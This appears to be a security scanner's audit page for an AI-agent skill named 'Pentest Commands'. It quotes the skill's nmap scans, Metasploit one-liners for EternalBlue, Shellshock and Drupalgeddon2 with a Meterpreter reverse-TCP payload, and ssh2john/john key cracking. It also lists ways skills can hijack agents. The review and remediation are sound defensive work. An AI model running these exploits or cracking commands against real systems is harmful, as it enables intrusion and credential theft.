Pentest Commands

• Outcome: Review
• Latest audit: Sep 12, 2026 · 8:11 AM UTC
• Version: 1.0.1

Overview

This is a disclosed penetration-testing command reference, but it includes direct exploitation, reverse-shell, brute-force, and credential-cracking steps with only minimal safeguards.

Install only if you perform authorized security testing and can enforce a written scope yourself. Treat the examples as potentially disruptive or compromising, avoid using them on systems outside the engagement, and store or delete generated payloads, hashes, captures, and cracked credentials according to your organization's rules.

A.I.G

Vulnerability Patterns

• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review
• Embedded Malicious Code: Ships malicious scripts inside the skill and executes them locally

Findings (1)

T09 · Insecure Skill Coding Practices

Warning

• Location: SKILL.md:337

Finding

Sensitive SSH Key Hash Written Without Explicit Access Controls

Content

View full analysis

ssh_hash.txt john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt ``` ### Technical Analysis The documented command reads an SSH private key and uses `ssh2john` to generate a crackable representation in `ssh_hash.txt`. It does not modify the original `id_rsa` file or transmit its contents over the network. Nevertheless, the generated hash is sensitive because it enables offline passphrase-guessing attacks against the associated private key. The output redirection creates the file according to the invoking user's current `umask` and working-directory permissions. The instructions do not require a private working directory, restrictive file permissions, authorization verification, or deletion of the generated artifact. Consequently, the hash may be exposed to other local users, backup systems, shared workspaces, logs, or subsequent processes. Processing SSH key material is relevant to the Skill's declared password-cracking functionality. However, retaining the derived hash without minimum-privilege safeguards exceeds the minimum safe handling requirements for such sensitive material. ### Attack Path 1. An operator runs the documented commands against an authorized or inadvertently exposed `id_rsa` file. 2. `ssh2john` generates `ssh_hash.txt` in the current directory using permissions determined by the environment's default `umask`. 3. The hash file remains in a shared, backed-up, or otherwise accessible location after the assessment. 4. Another local principal or process obtains the generated hash. 5. The principal performs an offline dictionary or brute-force attack using John the Ripper or another compatible cracking tool. 6. If the passphrase is recovered, the principal combines it ...[truncated 1040 chars]

Remediation

View remediation

"$workdir/ssh_hash.txt" chmod 600 "$workdir/ssh_hash.txt" john "$workdir/ssh_hash.txt" --wordlist=/usr/share/wordlists/rockyou.txt ``` - Do not process a default filename such as `id_rsa` without requiring an explicit, validated input path. - Avoid placing hashes in shared directories, repositories, persistent logs, shell transcripts, or locations included in automatic backups. - Remove the generated hash and temporary directory immediately after the authorized assessment: ```bash rm -f -- "$workdir/ssh_hash.txt" rmdir -- "$workdir" ``` - Document that ordinary deletion may not guarantee physical erasure on journaling, copy-on-write, networked, or solid-state storage. For highly sensitive assessments, use an approved encrypted ephemeral workspace and follow the organization's media-sanitization policy. - Add a warning directly beside the command explaining that the output remains sensitive and can be used for offline passphrase attacks. ]]>

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• YARA Signatures: Malware Match, Webshell Match, Cryptominer Match
• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Supply Chain: Unpinned Dependencies, External Script Fetching, Obfuscated Code

Findings (4)

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Critical

• Category: YARA Match
• Confidence: 93% confidence

Finding

The C2/framework indicator is triggered by explicit references to Metasploit and Meterpreter, which are associated with post-exploitation and command-and-control capabilities. While the file is framed as a pentest reference, the inclusion of post-exploitation and lateral movement context increases the risk that the skill serves as an enablement artifact for unauthorized intrusion.

Content

Scanner excerpt · SKILL.md (reported line 4)May include surrounding context.

md

---
name: Pentest Commands
version: 1.0.0
description: "Essential penetration testing command reference. Quick lookup for nmap, Metasploit, hydra, john, nikto, gobuster, and other offensive security tools. Covers reconnaissance, exploitation, post-exploitation, and lateral movement."
metadata:
  author: zebbern
  version: "1.1"
---

# Pentest Commands

## Purpose

Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.

## Inputs/Prerequisites

- Kali Linux or penetration testing distribution
- Target IP addresses with authorization
- Wordlists for brute forc

Missing User Warnings

High

• Category: Not specified by scanner
• Confidence: 97% confidence

Finding

This skill is an operational playbook for offensive activity and includes exploitation, brute forcing, payload generation, reverse shells, and credential compromise, but only provides minimal constraint language. The weak warning model makes misuse easier and normalizes directly actionable attack execution rather than limiting content to defensive validation or high-level education.

Content

No source excerpt is available for this finding.

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High

• Category: YARA Match
• Confidence: 95% confidence

Finding

The offensive-tool references are real and extensive, including network scanning, brute-force NSE scripts, SQL injection testing, and enumeration commands. In context, these are presented as a quick-use command reference, which lowers friction for misuse against live targets even though the stated purpose is penetration testing.

Content

Scanner excerpt · SKILL.md (reported line 40)May include surrounding context.

distribution

• Target IP addresses with authorization
• Wordlists for brute forcing
• Network access to target systems
• Basic understanding of tool syntax

Outputs/Deliverables

• Network enumeration results
• Identified vulnerabilities
• Exploitation payloads
• Cracked credentials
• Web vulnerability findings

Core Workflow

1. Nmap Commands

Host Discovery:

bash

# Ping sweep
nmap -sP 192.168.1.0/24

# List IPs without scanning
nmap -sL 192.168.1.0/24

# Ping scan (host discovery)
nmap -sn 192.168.1.0/24

Port Scanning:

bash

# TCP SYN scan (stealth)
nmap -sS 192.168.1.1

# Full TCP connect scan
nmap -sT 192.168.1.1

# UDP scan
nmap -sU 192.168.1.1

# All ports (1-65535)
nmap -p- 192.168.1.1

# Specific ports
nmap -p 22,80,443 192.168.1.1

Service Detection:

bash

# Service versions
nmap -sV 192.168.1.1

# OS detection
nmap -O 192.168.1.1

# Comprehensive scan
nmap -A 192.168.1.1

# Skip host discovery
nmap -Pn 192.168.1.1

*NSE Scripts:

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High

• Category: YARA Match
• Confidence: 99% confidence

Finding

This section includes exploit-framework usage, automated exploitation, Meterpreter payloads, reverse shells, handlers, and msfvenom payload generation. Those instructions can directly enable remote compromise and persistence workflows, making the skill substantially more dangerous than a general security reference.

Content

Scanner excerpt · SKILL.md (reported line 168)May include surrounding context.

1

text

### 2. Metasploit Commands

**Basic Usage:**

```bash
# Launch Metasploit
msfconsole

# Search for exploits
search type:exploit name:smb

# Use exploit
use exploit/windows/smb/ms17_010_eternalblue

# Show options
show options

# Set target
set RHOST 192.168.1.1

# Set payload
set PAYLOAD windows/meterpreter/reverse_tcp

# Run exploit
exploit

Common Exploits:

bash

# EternalBlue
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"

# MS08-067 (Conficker)
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"

# vsftpd backdoor
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"

# Shellshock
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"

# Drupalgeddon2
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"

# PSExec
msfconsole -x "use exploit/windows/smb/psexec; set RH

Static analysis

No suspicious patterns detected.